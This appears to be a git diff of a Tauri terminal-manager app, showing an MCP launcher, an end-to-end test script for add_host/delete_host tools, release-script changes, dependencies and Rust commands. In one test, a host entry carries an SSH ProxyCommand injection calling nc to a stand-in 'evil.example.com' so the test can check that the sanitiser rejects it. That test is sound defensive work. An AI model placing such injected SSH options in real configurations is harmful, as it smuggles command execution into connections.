`[tiletopia-mcpb] config not found at ${CFG_PATH}. ` +
|
||||
"Launch tiletopia, open the 🤖 MCP panel, and click Server: ON at least " +
|
||||
"once so the port + token get persisted, then retry.",
|
||||
);
|
||||
process.exit(3);
|
||||
}
|
||||
|
||||
let cfg;
|
||||
try {
|
||||
cfg = JSON.parse(readFileSync(CFG_PATH, "utf8"));
|
||||
} catch (e) {
|
||||
console.error(`[tiletopia-mcpb] failed to read/parse ${CFG_PATH}: ${e.message}`);
|
||||
process.exit(4);
|
||||
}
|
||||
|
||||
const port = Number(cfg.port);
|
||||
const token = String(cfg.token ?? "");
|
||||
if (!Number.isInteger(port) || port <= 0 || port > 65535 || !token) {
|
||||
console.error(
|
||||
`[tiletopia-mcpb] ${CFG_PATH} is missing a valid port or token. ` +
|
||||
"Toggle the MCP server off and on in the tiletopia panel to regenerate it.",
|
||||
);
|
||||
process.exit(5);
|
||||
}
|
||||
|
||||
const url = `http://127.0.0.1:${port}/mcp`;
|
||||
|
||||
// `npx.cmd` on Windows is the actual launcher; bare `npx` is a shim that
|
||||
// node spawns from PATH and that's also fine. spawn() with shell:true ensures
|
||||
// PATHEXT resolution picks up the .cmd correctly.
|
||||
const child = spawn(
|
||||
"npx",
|
||||
[
|
||||
"-y",
|
||||
"mcp-remote",
|
||||
url,
|
||||
"--allow-http",
|
||||
"--header",
|
||||
`Authorization: Bearer ${token}`,
|
||||
],
|
||||
{
|
||||
stdio: "inherit",
|
||||
shell: true,
|
||||
},
|
||||
);
|
||||
|
||||
child.on("error", (e) => {
|
||||
console.error(
|
||||
`[tiletopia-mcpb] failed to spawn npx: ${e.message}. ` +
|
||||
"Make sure Node.js 18+ is installed and `npx` is on PATH.",
|
||||
);
|
||||
process.exit(6);
|
||||
});
|
||||
|
||||
child.on("exit", (code, signal) => {
|
||||
if (signal) process.kill(process.pid, signal);
|
||||
else process.exit(code ?? 0);
|
||||
});
|
||||
|
||||
// Forward terminate signals to the child so Claude Desktop's "disable
|
||||
// extension" cleans up the mcp-remote subprocess.
|
||||
for (const sig of ["SIGINT", "SIGTERM", "SIGHUP"]) {
|
||||
process.on(sig, () => {
|
||||
try {
|
||||
child.kill(sig);
|
||||
} catch {
|
||||
/* child may already be gone */
|
||||
}
|
||||
});
|
||||
}
|
||||
232
scripts/pr4-verify.mjs
Normal file
232
scripts/pr4-verify.mjs
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
#!/usr/bin/env node
|
||||
// PR-4 end-to-end verifier — drives the MCP server's add_host / delete_host
|
||||
// tools through the real HTTP transport so we exercise: bearer auth,
|
||||
// safeguard gate, sanitiser, dispatcher, frontend handler, hosts.json write.
|
||||
//
|
||||
// Run from D:\dev\tiletopia with:
|
||||
// node scripts/pr4-verify.mjs
|
||||
|
||||
import { readFileSync, writeFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
|
||||
const APPDATA = process.env.APPDATA;
|
||||
if (!APPDATA) throw new Error("APPDATA env missing — run from a Windows shell");
|
||||
const CFG_DIR = join(APPDATA, "com.megaproxy.tiletopia");
|
||||
const MCP_CFG = JSON.parse(readFileSync(join(CFG_DIR, "mcp.json"), "utf8"));
|
||||
const POLICY_PATH = join(CFG_DIR, "mcp-policy.json");
|
||||
const HOSTS_PATH = join(CFG_DIR, "hosts.json");
|
||||
|
||||
const URL = `http://127.0.0.1:${MCP_CFG.port}/mcp`;
|
||||
const TOKEN = MCP_CFG.token;
|
||||
|
||||
let sessionId = null;
|
||||
let nextId = 1;
|
||||
|
||||
// Parse a chunk of Server-Sent Events. Returns the *last* "data:" payload
|
||||
// (parsed as JSON) that matches the message id we expect — sufficient for
|
||||
// request/response calls. rmcp's streamable HTTP sends one event per RPC.
|
||||
function parseSse(text, wantId) {
|
||||
const lines = text.split(/\r?\n/);
|
||||
let last = null;
|
||||
for (const line of lines) {
|
||||
if (!line.startsWith("data:")) continue;
|
||||
const payload = line.slice(5).trim();
|
||||
if (!payload) continue;
|
||||
try {
|
||||
const obj = JSON.parse(payload);
|
||||
if (obj.id === wantId) return obj;
|
||||
last = obj;
|
||||
} catch (_) { /* skip */ }
|
||||
}
|
||||
return last;
|
||||
}
|
||||
|
||||
async function rpc(method, params, { notification = false } = {}) {
|
||||
const id = nextId++;
|
||||
const body = notification
|
||||
? { jsonrpc: "2.0", method, params }
|
||||
: { jsonrpc: "2.0", id, method, params };
|
||||
const headers = {
|
||||
"Content-Type": "application/json",
|
||||
"Accept": "application/json, text/event-stream",
|
||||
"Authorization": `Bearer ${TOKEN}`,
|
||||
};
|
||||
if (sessionId) headers["mcp-session-id"] = sessionId;
|
||||
const res = await fetch(URL, {
|
||||
method: "POST",
|
||||
headers,
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
if (notification) return null;
|
||||
if (!res.ok) {
|
||||
const text = await res.text();
|
||||
throw new Error(`HTTP ${res.status} ${res.statusText}: ${text}`);
|
||||
}
|
||||
const sid = res.headers.get("mcp-session-id");
|
||||
if (sid && !sessionId) sessionId = sid;
|
||||
const ct = res.headers.get("content-type") || "";
|
||||
const text = await res.text();
|
||||
if (ct.includes("text/event-stream")) {
|
||||
const parsed = parseSse(text, id);
|
||||
if (!parsed) throw new Error(`no matching SSE response for id=${id}: ${text}`);
|
||||
return parsed;
|
||||
}
|
||||
return JSON.parse(text);
|
||||
}
|
||||
|
||||
function summarise(rpcResult, label) {
|
||||
if (rpcResult.error) {
|
||||
console.log(` ${label}: ERROR -> ${rpcResult.error.message || JSON.stringify(rpcResult.error)}`);
|
||||
return rpcResult.error;
|
||||
}
|
||||
const content = rpcResult.result?.content ?? rpcResult.result;
|
||||
console.log(` ${label}: OK -> ${typeof content === "string" ? content : JSON.stringify(content).slice(0, 200)}`);
|
||||
return rpcResult.result;
|
||||
}
|
||||
|
||||
async function callTool(name, args) {
|
||||
return rpc("tools/call", { name, arguments: args });
|
||||
}
|
||||
|
||||
function readPolicy() {
|
||||
return JSON.parse(readFileSync(POLICY_PATH, "utf8"));
|
||||
}
|
||||
function writePolicy(p) {
|
||||
writeFileSync(POLICY_PATH, JSON.stringify(p, null, 2));
|
||||
}
|
||||
function readHosts() {
|
||||
return JSON.parse(readFileSync(HOSTS_PATH, "utf8"));
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
console.log(`MCP URL: ${URL}`);
|
||||
console.log(`Token: ${TOKEN.slice(0, 12)}…`);
|
||||
|
||||
// Step 0: initialize.
|
||||
const init = await rpc("initialize", {
|
||||
protocolVersion: "2024-11-05",
|
||||
capabilities: {},
|
||||
clientInfo: { name: "pr4-verify", version: "1.0" },
|
||||
});
|
||||
console.log(`session id: ${sessionId}`);
|
||||
console.log(`server: ${init.result.serverInfo.name} ${init.result.serverInfo.version}`);
|
||||
await rpc("notifications/initialized", {}, { notification: true });
|
||||
|
||||
// Step 1: tools/list — verify add_host + delete_host are present.
|
||||
const list = await rpc("tools/list", {});
|
||||
const toolNames = list.result.tools.map((t) => t.name).sort();
|
||||
console.log(`tools: ${toolNames.join(", ")}`);
|
||||
const hasAdd = toolNames.includes("add_host");
|
||||
const hasDel = toolNames.includes("delete_host");
|
||||
if (!hasAdd || !hasDel) throw new Error("add_host or delete_host missing from tool list");
|
||||
|
||||
// Snapshot state for restore at the end.
|
||||
const originalPolicy = readPolicy();
|
||||
const originalHosts = readHosts();
|
||||
console.log(`\nbaseline: ${originalHosts.length} host(s), allowAddHost=${originalPolicy.sshSafeguards?.allowAddHost ?? false}`);
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 1: Refusal path — safeguard off → "add-host-disabled".
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[1] add_host with safeguard OFF — expect add-host-disabled");
|
||||
// Make sure safeguard is off + add_host is in allow bucket so we test the
|
||||
// safeguard gate, not the confirm modal.
|
||||
writePolicy({
|
||||
...originalPolicy,
|
||||
permissions: {
|
||||
...originalPolicy.permissions,
|
||||
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
|
||||
},
|
||||
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowOpenSsh: false, autoAllowSpawnedSsh: false, allowAddHost: false },
|
||||
});
|
||||
const t1 = await callTool("add_host", { hostname: "pr4-test.example.com", label: "PR-4 verify" });
|
||||
summarise(t1, "T1");
|
||||
if (!t1.error || !/add-host-disabled/i.test(t1.error.message || "")) {
|
||||
throw new Error("T1: expected 'add-host-disabled' error, got: " + JSON.stringify(t1));
|
||||
}
|
||||
console.log(" T1 PASS — safeguard correctly refused");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 2: Sanitiser — flip safeguard on, send ProxyCommand → reject.
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[2] add_host with ProxyCommand in extraArgs — expect sanitiser rejection");
|
||||
writePolicy({
|
||||
...originalPolicy,
|
||||
permissions: {
|
||||
...originalPolicy.permissions,
|
||||
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
|
||||
},
|
||||
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowAddHost: true },
|
||||
});
|
||||
const t2 = await callTool("add_host", {
|
||||
hostname: "pr4-evil.example.com",
|
||||
label: "PR-4 evil",
|
||||
extraArgs: ["-o", "ProxyCommand=nc evil.example.com 22"],
|
||||
});
|
||||
summarise(t2, "T2");
|
||||
if (!t2.error || !/ProxyCommand/i.test(t2.error.message || "")) {
|
||||
throw new Error("T2: expected sanitiser to reject ProxyCommand, got: " + JSON.stringify(t2));
|
||||
}
|
||||
console.log(" T2 PASS — sanitiser correctly rejected ProxyCommand");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 3: Happy path — clean args → success + verify hosts.json.
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[3] add_host with clean args — expect success + hosts.json gets +1");
|
||||
const beforeHosts = readHosts();
|
||||
const t3 = await callTool("add_host", {
|
||||
hostname: "pr4-test.example.com",
|
||||
label: "PR-4 verify",
|
||||
user: "claude",
|
||||
port: 2222,
|
||||
extraArgs: ["-o", "ServerAliveInterval=30"],
|
||||
});
|
||||
summarise(t3, "T3");
|
||||
if (t3.error) throw new Error("T3: expected success, got: " + t3.error.message);
|
||||
|
||||
// Backend wraps the inner result JSON in a content array; parse it out.
|
||||
let newHostId = null;
|
||||
const t3Payload = t3.result.content?.[0]?.text ? JSON.parse(t3.result.content[0].text) : t3.result;
|
||||
newHostId = t3Payload.hostId;
|
||||
console.log(` new hostId: ${newHostId}`);
|
||||
|
||||
// Allow the frontend's setHosts → saveSshHosts to land.
|
||||
await new Promise((r) => setTimeout(r, 400));
|
||||
const afterHosts = readHosts();
|
||||
if (afterHosts.length !== beforeHosts.length + 1) {
|
||||
throw new Error(`T3: hosts.json count went ${beforeHosts.length} → ${afterHosts.length}, expected +1`);
|
||||
}
|
||||
const added = afterHosts.find((h) => h.id === newHostId);
|
||||
if (!added) throw new Error(`T3: hostId ${newHostId} not found in hosts.json`);
|
||||
if (added.hostname !== "pr4-test.example.com") throw new Error("T3: hostname mismatch");
|
||||
if (added.user !== "claude") throw new Error("T3: user mismatch");
|
||||
if (added.port !== 2222) throw new Error("T3: port mismatch");
|
||||
if (!added.extraArgs || added.extraArgs.join(" ") !== "-o ServerAliveInterval=30") {
|
||||
throw new Error("T3: extraArgs not persisted correctly: " + JSON.stringify(added.extraArgs));
|
||||
}
|
||||
console.log(" T3 PASS — host saved with all fields intact");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// TEST 4: delete_host — verify cleanup.
|
||||
// -----------------------------------------------------------------------------
|
||||
console.log("\n[4] delete_host on the new host — expect hosts.json back to baseline");
|
||||
const t4 = await callTool("delete_host", { host_id: newHostId });
|
||||
summarise(t4, "T4");
|
||||
if (t4.error) throw new Error("T4: expected success, got: " + t4.error.message);
|
||||
await new Promise((r) => setTimeout(r, 400));
|
||||
const finalHosts = readHosts();
|
||||
if (finalHosts.length !== beforeHosts.length) {
|
||||
throw new Error(`T4: hosts.json count went ${afterHosts.length} → ${finalHosts.length}, expected ${beforeHosts.length}`);
|
||||
}
|
||||
if (finalHosts.find((h) => h.id === newHostId)) {
|
||||
throw new Error(`T4: hostId ${newHostId} still in hosts.json`);
|
||||
}
|
||||
console.log(" T4 PASS — host removed");
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Restore original policy.
|
||||
// -----------------------------------------------------------------------------
|
||||
writePolicy(originalPolicy);
|
||||
console.log(`\nrestored: mcp-policy.json (allowAddHost back to ${originalPolicy.sshSafeguards?.allowAddHost ?? false}, allow bucket reverted)`);
|
||||
console.log("\nALL TESTS PASS ✓");
|
||||
|
|
@ -9,6 +9,11 @@
|
|||
# exists at src-tauri/target/release/bundle/nsis/*.exe.
|
||||
# 3. `tea login list` shows the `rdx4` login is active.
|
||||
#
|
||||
# Attaches two assets:
|
||||
# - <name>-setup.exe — NSIS installer
|
||||
# - tiletopia.mcpb — Claude Desktop one-click MCP extension bundle
|
||||
# (built by this script from src/ at release time)
|
||||
#
|
||||
# Usage:
|
||||
# scripts/release.sh v0.1.0
|
||||
#
|
||||
|
|
@ -65,6 +70,23 @@ fi
|
|||
echo "Installer: $installer"
|
||||
echo "Size: $(du -h "$installer" | cut -f1)"
|
||||
|
||||
# Build + locate the .mcpb bundle. The McpPanel's "Download .mcpb" button
|
||||
# opens this release page, so the asset has to be here for the click to work.
|
||||
#
|
||||
# Called via `node` directly (not `pnpm run build:mcpb`) because pnpm
|
||||
# triggers an `install` step first that walks node_modules — hangs for
|
||||
# minutes when this script runs from WSL against the /mnt/d/ Windows
|
||||
# filesystem. The build:mcpb script is pure Node + fs; no deps to install.
|
||||
echo "Building .mcpb bundle…"
|
||||
node scripts/build-mcpb.mjs >/dev/null
|
||||
mcpb="dist-mcpb/tiletopia.mcpb"
|
||||
if [[ ! -f "$mcpb" ]]; then
|
||||
echo "build-mcpb.mjs finished but $mcpb is missing" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "Bundle: $mcpb"
|
||||
echo "Size: $(du -h "$mcpb" | cut -f1)"
|
||||
|
||||
# Tag and push
|
||||
if git rev-parse "$TAG" >/dev/null 2>&1; then
|
||||
echo "tag $TAG already exists locally — bail (delete it first if intentional)" >&2
|
||||
|
|
@ -73,13 +95,14 @@ fi
|
|||
git tag -a "$TAG" -m "Release $TAG"
|
||||
git push origin "$TAG"
|
||||
|
||||
# Create the release with the installer attached
|
||||
# Create the release with the installer + .mcpb bundle attached
|
||||
tea releases create \
|
||||
--login rdx4 \
|
||||
--tag "$TAG" \
|
||||
--title "$TAG" \
|
||||
--note "tiletopia $TAG. Download the .exe below, run it, accept SmartScreen (\"More info → Run anyway\") — installer isn't code-signed." \
|
||||
--asset "$installer"
|
||||
--note "tiletopia $TAG. Download the .exe below, run it, accept SmartScreen (\"More info → Run anyway\") — installer isn't code-signed. tiletopia.mcpb is the Claude Desktop one-click install bundle (Settings → Extensions → drag and drop)." \
|
||||
--asset "$installer" \
|
||||
--asset "$mcpb"
|
||||
|
||||
echo
|
||||
echo "✓ released $TAG → https://git.rdx4.com/megaproxy/tiletopia/releases/tag/$TAG"
|
||||
|
|
|
|||
731
src-tauri/Cargo.lock
generated
731
src-tauri/Cargo.lock
generated
File diff suppressed because it is too large
Load diff
|
|
@ -1,6 +1,6 @@
|
|||
[package]
|
||||
name = "tiletopia"
|
||||
version = "0.2.3"
|
||||
version = "0.4.1"
|
||||
description = "Tiling multi-terminal manager for WSL"
|
||||
authors = ["megaproxy"]
|
||||
edition = "2021"
|
||||
|
|
@ -16,6 +16,28 @@ tauri-build = { version = "2", features = [] }
|
|||
[dependencies]
|
||||
tauri = { version = "2", features = [] }
|
||||
tauri-plugin-clipboard-manager = "2"
|
||||
tauri-plugin-opener = "2"
|
||||
|
||||
# Saved-credential storage (Windows Credential Manager / DPAPI).
|
||||
keyring-core = "1"
|
||||
windows-native-keyring-store = "1"
|
||||
|
||||
# Embedded MCP server: lets a Claude session drive the workspace
|
||||
# (list panes, read scrollback, etc.). Streamable HTTP transport mounted
|
||||
# on an Axum router so we can add a bearer-auth middleware in front.
|
||||
rmcp = { version = "=1.7.0", features = [
|
||||
"server",
|
||||
"macros",
|
||||
"schemars",
|
||||
"transport-streamable-http-server",
|
||||
] }
|
||||
schemars = "1"
|
||||
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
|
||||
tower = "0.5"
|
||||
tokio-util = { version = "0.7", features = ["rt"] }
|
||||
rand = "0.9"
|
||||
hex = "0.4"
|
||||
regex = "1"
|
||||
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
|
|
|
|||
|
|
@ -2,12 +2,20 @@
|
|||
"$schema": "../gen/schemas/desktop-schema.json",
|
||||
"identifier": "default",
|
||||
"description": "Default capability set for wsl-mux spike",
|
||||
"windows": ["main"],
|
||||
"windows": ["main", "pane-window-*"],
|
||||
"permissions": [
|
||||
"core:default",
|
||||
"core:event:default",
|
||||
"core:window:default",
|
||||
"clipboard-manager:allow-read-text",
|
||||
"clipboard-manager:allow-write-text"
|
||||
"clipboard-manager:allow-write-text",
|
||||
{
|
||||
"identifier": "opener:allow-open-url",
|
||||
"allow": [
|
||||
{ "url": "http://*" },
|
||||
{ "url": "https://*" },
|
||||
{ "url": "mailto:*" }
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,9 +1,17 @@
|
|||
//! Tauri command surface. Every JS-callable function lives here.
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as B64, Engine as _};
|
||||
use tauri::{AppHandle, Manager};
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::pty::{list_wsl_distros, PaneId, PtyManager};
|
||||
use base64::{engine::general_purpose::STANDARD as B64, Engine as _};
|
||||
use tauri::{AppHandle, Manager, WebviewUrl, WebviewWindowBuilder};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
use crate::creds;
|
||||
use crate::hosts::{self, SshHost, SshHostView};
|
||||
use crate::mcp::{self, McpMirror, McpServerHandle, McpState, PendingActions, RunningServer};
|
||||
use crate::mcp_policy::McpPolicy;
|
||||
use crate::pty::{list_wsl_distros, PaneId, PtyManager, SpawnSpec};
|
||||
use crate::window_state::{PendingInit, PendingInits, WindowsState};
|
||||
|
||||
const WORKSPACE_FILE: &str = "workspace.json";
|
||||
|
||||
|
|
@ -15,22 +23,19 @@ pub async fn list_distros() -> Result<Vec<String>, String> {
|
|||
#[tauri::command]
|
||||
pub async fn spawn_pane(
|
||||
app: AppHandle,
|
||||
manager: tauri::State<'_, PtyManager>,
|
||||
distro: Option<String>,
|
||||
cwd: Option<String>,
|
||||
manager: tauri::State<'_, Arc<PtyManager>>,
|
||||
spec: SpawnSpec,
|
||||
cols: u16,
|
||||
rows: u16,
|
||||
) -> Result<PaneId, String> {
|
||||
manager
|
||||
.spawn_wsl(app, distro, cwd, cols, rows)
|
||||
.map_err(|e| e.to_string())
|
||||
manager.spawn(app, spec, cols, rows).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// `data_b64` is base64-encoded UTF-8 bytes (xterm.js's `onData` emits
|
||||
/// strings; the frontend encodes before sending).
|
||||
#[tauri::command]
|
||||
pub async fn write_to_pane(
|
||||
manager: tauri::State<'_, PtyManager>,
|
||||
manager: tauri::State<'_, Arc<PtyManager>>,
|
||||
id: PaneId,
|
||||
data_b64: String,
|
||||
) -> Result<(), String> {
|
||||
|
|
@ -42,7 +47,7 @@ pub async fn write_to_pane(
|
|||
|
||||
#[tauri::command]
|
||||
pub async fn resize_pane(
|
||||
manager: tauri::State<'_, PtyManager>,
|
||||
manager: tauri::State<'_, Arc<PtyManager>>,
|
||||
id: PaneId,
|
||||
cols: u16,
|
||||
rows: u16,
|
||||
|
|
@ -52,12 +57,171 @@ pub async fn resize_pane(
|
|||
|
||||
#[tauri::command]
|
||||
pub async fn kill_pane(
|
||||
manager: tauri::State<'_, PtyManager>,
|
||||
manager: tauri::State<'_, Arc<PtyManager>>,
|
||||
id: PaneId,
|
||||
) -> Result<(), String> {
|
||||
manager.kill(id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// Bump the per-pane "do not kill during transfer" refcount. Called by the
|
||||
/// source window just before removing the leaf from its tree (which triggers
|
||||
/// React to unmount XtermPane, which calls `kill_pane`). The kill is then a
|
||||
/// no-op until {@link claim_pane} drops the refcount.
|
||||
#[tauri::command]
|
||||
pub async fn mark_pane_transferring(
|
||||
manager: tauri::State<'_, Arc<PtyManager>>,
|
||||
id: PaneId,
|
||||
) -> Result<(), String> {
|
||||
manager.mark_transferring(id);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Drop the transfer refcount one. Called by the target window's XtermPane
|
||||
/// mount once it has subscribed to the pane's events and replayed the
|
||||
/// scrollback ring — at which point the PTY is safely "owned" by the
|
||||
/// target.
|
||||
#[tauri::command]
|
||||
pub async fn claim_pane(
|
||||
manager: tauri::State<'_, Arc<PtyManager>>,
|
||||
id: PaneId,
|
||||
) -> Result<(), String> {
|
||||
manager.claim(id);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return the per-pane scrollback ring snapshot as base64. The target
|
||||
/// window's XtermPane writes it into xterm.js BEFORE attaching the live
|
||||
/// pane://{id}/data listener, so the user sees recent output (covers
|
||||
/// "Claude is in the middle of a thought" — a transferred pane that's
|
||||
/// idle shouldn't look blank). Bounded by PANE_RING_CAPACITY (~256 KiB).
|
||||
#[tauri::command]
|
||||
pub async fn get_pane_ring(
|
||||
manager: tauri::State<'_, Arc<PtyManager>>,
|
||||
id: PaneId,
|
||||
) -> Result<String, String> {
|
||||
let ring = manager
|
||||
.ring(id)
|
||||
.ok_or_else(|| format!("no pane with id {id}"))?;
|
||||
let (bytes, _seq) = ring.lock().snapshot();
|
||||
Ok(B64.encode(&bytes))
|
||||
}
|
||||
|
||||
/// Spawn a new app window and stash the pending-init payload keyed by the
|
||||
/// new window's label. The target window pulls it via
|
||||
/// {@link take_pending_window_init} during App mount.
|
||||
///
|
||||
/// Returns the new window's label so the caller can correlate.
|
||||
#[tauri::command]
|
||||
pub async fn create_pane_window(
|
||||
app: AppHandle,
|
||||
pendings: tauri::State<'_, Arc<PendingInits>>,
|
||||
payload: PendingInit,
|
||||
) -> Result<String, String> {
|
||||
// Generate a label that's deterministic-but-unique. Tauri requires
|
||||
// labels to be ASCII-alphanumeric + dashes/underscores.
|
||||
let label = format!(
|
||||
"pane-window-{}",
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_micros())
|
||||
.unwrap_or(0)
|
||||
);
|
||||
|
||||
// Stash BEFORE building the window — the target may finish bootstrapping
|
||||
// and call take_pending_window_init before we return from build().
|
||||
pendings.by_label.lock().insert(label.clone(), payload);
|
||||
|
||||
// Position the new window offset from the source's outer rect so it
|
||||
// doesn't land exactly on top. If we can't query the source, fall back
|
||||
// to the OS-default (center).
|
||||
let (px, py, w, h) = source_window_geometry(&app);
|
||||
|
||||
let mut builder = WebviewWindowBuilder::new(
|
||||
&app,
|
||||
label.clone(),
|
||||
WebviewUrl::App("index.html".into()),
|
||||
)
|
||||
.title("tiletopia")
|
||||
.inner_size(w, h)
|
||||
.min_inner_size(480.0, 320.0)
|
||||
.resizable(true)
|
||||
.decorations(true)
|
||||
.visible(true);
|
||||
if let (Some(x), Some(y)) = (px, py) {
|
||||
builder = builder.position(x + 60.0, y + 60.0);
|
||||
} else {
|
||||
builder = builder.center();
|
||||
}
|
||||
if let Err(e) = builder.build() {
|
||||
// Clean up our pending entry so we don't leak it.
|
||||
pendings.by_label.lock().remove(&label);
|
||||
return Err(format!("create webview window: {e}"));
|
||||
}
|
||||
|
||||
Ok(label)
|
||||
}
|
||||
|
||||
/// Read and remove the pending-init for the current window. Returns None
|
||||
/// when there is no pending payload (main window startup; window opened
|
||||
/// without a transfer; second call after the first consumed it).
|
||||
#[tauri::command]
|
||||
pub async fn take_pending_window_init(
|
||||
pendings: tauri::State<'_, Arc<PendingInits>>,
|
||||
label: String,
|
||||
) -> Result<Option<PendingInit>, String> {
|
||||
Ok(pendings.by_label.lock().remove(&label))
|
||||
}
|
||||
|
||||
/// Push this window's workspaces snapshot to the backend aggregator. Called
|
||||
/// every time the React state changes (debounced inside Rust); the next
|
||||
/// debounce tick writes the aggregated envelope to disk.
|
||||
///
|
||||
/// `workspaces_json` is the per-window list as JSON (an array of
|
||||
/// `{ id, name, tree }` objects — matches the frontend's envelope.workspaces
|
||||
/// shape). Stored as serde Values so this module doesn't need to know
|
||||
/// anything about the tree shape.
|
||||
#[tauri::command]
|
||||
pub async fn push_window_workspaces(
|
||||
app: AppHandle,
|
||||
state: tauri::State<'_, Arc<WindowsState>>,
|
||||
label: String,
|
||||
workspaces_json: String,
|
||||
) -> Result<(), String> {
|
||||
let parsed: serde_json::Value = serde_json::from_str(&workspaces_json)
|
||||
.map_err(|e| format!("invalid workspaces JSON: {e}"))?;
|
||||
let arr = parsed
|
||||
.as_array()
|
||||
.ok_or_else(|| "workspaces JSON must be an array".to_string())?;
|
||||
let owned = arr.to_vec();
|
||||
let state_arc: Arc<WindowsState> = (*state).clone();
|
||||
state_arc.push(app, label, owned);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Best-effort: read outer position + inner size of the main window so the
|
||||
/// new window opens nearby instead of slamming the OS default. Returns
|
||||
/// (Some(x), Some(y), w, h) when available; falls back to a reasonable
|
||||
/// default size when the main window query fails.
|
||||
fn source_window_geometry(app: &AppHandle) -> (Option<f64>, Option<f64>, f64, f64) {
|
||||
// Try the focused window first, then fall back to the main one.
|
||||
let win = app
|
||||
.webview_windows()
|
||||
.into_iter()
|
||||
.find_map(|(_, w)| if w.is_focused().unwrap_or(false) { Some(w) } else { None })
|
||||
.or_else(|| app.get_webview_window("main"));
|
||||
let Some(win) = win else {
|
||||
return (None, None, 1100.0, 700.0);
|
||||
};
|
||||
let pos = win.outer_position().ok();
|
||||
let size = win.inner_size().ok();
|
||||
let scale = win.scale_factor().unwrap_or(1.0);
|
||||
let w = size.as_ref().map(|s| s.width as f64 / scale).unwrap_or(1100.0);
|
||||
let h = size.as_ref().map(|s| s.height as f64 / scale).unwrap_or(700.0);
|
||||
let px = pos.as_ref().map(|p| p.x as f64 / scale);
|
||||
let py = pos.as_ref().map(|p| p.y as f64 / scale);
|
||||
(px, py, w, h)
|
||||
}
|
||||
|
||||
/// Write the workspace JSON to `%APPDATA%\com.megaproxy.tiletopia\workspace.json`.
|
||||
/// Writes to a `.tmp` and renames over the real file so a crash mid-write
|
||||
/// can't leave a partial file readable.
|
||||
|
|
@ -92,3 +256,209 @@ pub async fn load_workspace(app: AppHandle) -> Result<Option<String>, String> {
|
|||
let s = std::fs::read_to_string(&path).map_err(|e| format!("read: {e}"))?;
|
||||
Ok(Some(s))
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn list_ssh_hosts(app: AppHandle) -> Result<Vec<SshHostView>, String> {
|
||||
let raw = hosts::load(&app).map_err(|e| e.to_string())?;
|
||||
Ok(raw
|
||||
.into_iter()
|
||||
.map(|h| {
|
||||
let has_password = creds::has(&h.id);
|
||||
SshHostView { host: h, has_password }
|
||||
})
|
||||
.collect())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn save_ssh_hosts(app: AppHandle, hosts: Vec<SshHost>) -> Result<(), String> {
|
||||
// Sweep orphaned credentials: any host id that existed before this call
|
||||
// but isn't in the new list gets its keyring entry deleted. Saves the
|
||||
// frontend from having to diff and call delete_host_password itself.
|
||||
if let Ok(prior) = crate::hosts::load(&app) {
|
||||
let new_ids: std::collections::HashSet<&str> =
|
||||
hosts.iter().map(|h| h.id.as_str()).collect();
|
||||
for old in &prior {
|
||||
if !new_ids.contains(old.id.as_str()) {
|
||||
if let Err(e) = creds::delete(&old.id) {
|
||||
tracing::warn!("orphan credential cleanup failed for {}: {e}", old.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
crate::hosts::save(&app, &hosts).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn set_host_password(host_id: String, password: String) -> Result<(), String> {
|
||||
creds::set(&host_id, &password).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn delete_host_password(host_id: String) -> Result<(), String> {
|
||||
creds::delete(&host_id).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn has_host_password(host_id: String) -> Result<bool, String> {
|
||||
Ok(creds::has(&host_id))
|
||||
}
|
||||
|
||||
// ---- MCP server lifecycle --------------------------------------------------
|
||||
|
||||
#[derive(serde::Serialize)]
|
||||
pub struct McpStatus {
|
||||
pub running: bool,
|
||||
pub url: Option<String>,
|
||||
pub token: Option<String>,
|
||||
}
|
||||
|
||||
fn server_status(handle: &McpServerHandle) -> McpStatus {
|
||||
let g = handle.0.lock();
|
||||
match g.as_ref() {
|
||||
Some(srv) => McpStatus {
|
||||
running: true,
|
||||
url: Some(format!("http://{}/mcp", srv.addr)),
|
||||
token: Some(srv.token.clone()),
|
||||
},
|
||||
None => McpStatus {
|
||||
running: false,
|
||||
url: None,
|
||||
token: None,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn mcp_start(
|
||||
app: AppHandle,
|
||||
ptys: tauri::State<'_, Arc<PtyManager>>,
|
||||
state: tauri::State<'_, Arc<RwLock<McpState>>>,
|
||||
handle: tauri::State<'_, McpServerHandle>,
|
||||
